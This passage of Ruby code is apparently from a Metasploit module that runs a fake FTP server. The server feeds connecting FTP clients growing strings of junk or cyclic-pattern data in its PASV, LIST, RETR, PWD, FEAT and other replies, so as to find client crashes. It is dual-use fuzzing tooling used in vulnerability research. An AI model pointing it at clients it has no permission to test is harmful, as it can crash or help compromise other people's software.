'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
dport = s.getsockname[2]
@state[c][:passive_sock] = s
@state[c][:passive_port] = dport
end
@state[c][:passive_port]
end
def active_data_port_for_client(c,port)
@state[c][:mode] = :active
connector = Proc.new {
host = c.peerhost.dup
sock = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
}
@state[c][:active_connector] = connector
@state[c][:active_port] = port
end
def establish_data_connection(c)
begin
Timeout.timeout(20) do
if(@state[c][:mode] == :active)
return @state[c][:active_connector].call()
end
if(@state[c][:mode] == :passive)
return @state[c][:passive_sock].accept
end
end
rescue ::Exception => e
print_error("Failed to establish data connection: #{e.class} #{e}")
end
nil
end
def on_client_data(c)
data = c.get_once
return if not data
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
return if not cmd
case cmd.upcase.strip
when 'USER'
@state[c][:user] = arg
send_response(c,arg,"USER",331," User name okay, need password")
return
when 'PASS'
@state[c][:pass] = arg
send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")
return
when 'QUIT'
if (datastore['RESET'])
print_status("Resetting fuzz settings")
@fuzzsize = datastore['STARTSIZE']
@stepsize = datastore['STEPSIZE']
end
print_status("** Client disconnected **")
send_response(c,arg,"QUIT",221," User logged out")
return
when 'SYST'
send_response(c,arg,"SYST",215," UNIX Type: L8")
return
when 'TYPE'
send_response(c,arg,"TYPE",200," Type set to #{arg}")
return
when 'CWD'
send_response(c,arg,"CWD",250," CWD Command successful")
return
when 'PWD'
send_response(c,arg,"PWD",257," \"/\" is current directory.")
return
when 'REST'
send_response(c,arg,"REST",200," OK")
return
when 'XPWD'
send_response(c,arg,"PWD",257," \"/\" is current directory")
return
when 'SIZE'
send_response(c,arg,"SIZE",213," 1")
return
when 'MDTM'
send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
return
when 'CDUP'
send_response(c,arg,"CDUP",257," \"/\" is current directory")
return
when 'PORT'
port = arg.split(',')[4,2]
if(not port and port.length == 2)
c.put("500 Illegal PORT command.\r\n")
return
end
port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
active_data_port_for_client(c, port)
send_response(c,arg,"PORT",200," PORT command successful")
return
when 'PASV'
daddr = Rex::Socket.source_address(c.peerhost)
dport = passive_data_port_for_client(c)
@state[c][:daddr] = daddr
@state[c][:dport] = dport
pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')
dofuzz = fuzz_this_cmd("PASV")
code = 227
if datastore['ERROR']
code = 557
end
if (dofuzz==1)
send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n")
incr_fuzzsize()
else
send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")
end
return
when /^(LIST|NLST|LS)$/
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
code = 150
if datastore['ERROR']
code = 550
end
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
if datastore['ERROR']
code = 550
end
c.put("#{code} Directory send ok.\r\n")
strfile = "passwords.txt"
strfolder = "Secret files"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strfile = @fuzzdata + ".txt"
strfolder = @fuzzdata
paylen = @fuzzdata.length
incr_fuzzsize()
end
dirlist = ""
if datastore['EXTRALINE']
extra = "\r\n"
else
extra = ""
end
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n" + extra
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}\r\n" + extra
conn.put("total 2\r\n"+dirlist)
conn.close
return
when 'RETR'
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
strcontent = "blahblahblah"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strcontent = @fuzzdata
paylen = @fuzzdata.length
incr_fuzzsize()
end
c.put("150 Opening BINARY mode data connection #{strcontent}\r\n")
print_status(" - Sending data via data connection")
conn.put(strcontent)
c.put("226 Transfer complete\r\n")
conn.close
return
when /^(STOR|MKD|REM|DEL|RMD)$/
send_response(c,arg,cmd.upcase,500," Access denied")
return
when 'FEAT'
send_response(c,arg,"FEAT","","211-Features:\r\n211 End")
return
when 'HELP'
send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")
when 'SITE'
send_response(c,arg,"SITE",200," OK")
return
when 'NOOP'
send_response(c,arg,"NOOP",200," OK")
return
when 'ABOR'
send_response(c,arg,"ABOR",225," Abor command successful")
return
when 'ACCT'
send_response(c,arg,"ACCT",200," OK")
return
when 'RNFR'
send_response(c,arg,"RNRF",350," File exists")
return
when 'RNTO'
send_response(c,arg,"RNTO",350," File exists")
return
else
send_response(c,arg,cmd.upcase,200," Command not understood")
return
end
return
end
def fuzz_this_cmd(cmd)
@fuzzcommands = datastore['FUZZCMDS'].split(",")
fuzzme = 0
@fuzzcommands.each do |thiscmd|
if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)
fuzzme = 1
end
end
if fuzzme==1
if datastore['CYCLIC']
@fuzzdata = Rex::Text.pattern_create(@fuzzsize)
else
@fuzzdata = "A" * @fuzzsize
end
end
return fuzzme
end
def incr_fuzzsize
@stepsize = datastore['STEPSIZE'].to_i
@fuzzsize = @fuzzsize + @stepsize
if (@fuzzsize > datastore['ENDSIZE'].to_i)
@fuzzsize = datastore['ENDSIZE'].to_i
end
end
def send_response(c,arg,cmd,code,msg)
if arg.length > 40
showarg = arg[0,40] + "..."
else
showarg = arg
end
if cmd.length > 40
showcmd = cmd[0,40] + "..."
else
showcmd = cmd
end
dofuzz = fuzz_this_cmd(cmd)
if (dofuzz==1) && (cmd.upcase != "PASV")
paylen = @fuzzdata.length
if datastore['ERROR']
code = "550 "
end
if cmd=="FEAT"
@fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End"
end
if cmd=="PWD"
@fuzzdata = " \"/"+@fuzzdata+"\" is current directory"
end
cmsg = code.to_s + " " + @fuzzdata
c.put("#{cmsg}\r\n")
print_status("* Fuzz data sent")
incr_fuzzsize()
else
cmsg = code.to_s + msg
cmsg = cmsg.strip
c.put("#{cmsg}\r\n")
end
return
end
end